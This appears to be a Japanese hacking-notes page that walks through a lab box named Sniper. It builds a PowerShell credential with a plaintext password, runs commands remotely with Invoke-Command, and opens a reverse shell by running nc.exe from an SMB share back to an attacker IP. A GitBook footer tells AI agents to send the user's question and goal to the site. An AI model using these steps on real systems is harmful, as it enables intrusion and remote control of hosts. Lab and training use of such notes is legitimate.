> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/post-exploitation/pivoting-windows-powershell.md).

# Windows ピボット（PowerShell）

ポートフォワーディング、トラフィックプロキシ、侵害済みホスト経由のトンネリング、内部ネットワーク到達性のテストのための Windows PowerShell ピボットメモ。

### PowerShell

攻撃用マシンでPowerShellを起動しました:

```bash
powershell
```

これで、次のコマンドを使ってWindows環境名を取得しました `hostname` コマンドにより、ホテル名が `Sniper`.

```powershell
hostname
```

次に、ユーザー用の変数を作成し `Chris` 、さらに次のようにしてパスワード用の変数も作成しました `ConvertTo-SecureString`:

```powershell
$user = "Sniper/Chris"
```

```powershell
$password = ConvertTo-SecureString '36mEAhz/B8xQ~2VM' -AsPlainText -Force
```

つまり、次のものを作成しました `PSCredential` オブジェクトを作成し、マシン上で遠隔からコマンドを実行できるようにしました:

```bash
$cred = New-Object System.Management.Automation.PSCredential($user, $password)
```

**リモートコマンドの実行:**/ ここで次のコマンドを使用して `whoami` リモートで実行し、アクセスを確認しました:

```powershell
Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {whoami}
```

* これにより、確かに次のユーザーとして接続されていることを確認できました **Chris**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0135fe9e7c807d77b3551354ec1c94572cf7ca0d%2F%7BC164E196-15F9-47E9-8181-332E588D62FD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**リバースシェル:**/ システムへの完全なアクセスを得るため、ポート4444でリスナーを設定しました:

```bash
rlwrap nc -nlvp 4444
```

次に、次を使用してリバースシェルを実行しました `nc.exe` SMBサーバーから:

{% code overflow="wrap" %}

```powershell
Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 4444}
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-99c89f22dcac66e737d1273b2348e8a191165c7c%2Fimage%20(2491).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/post-exploitation/pivoting-windows-powershell.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
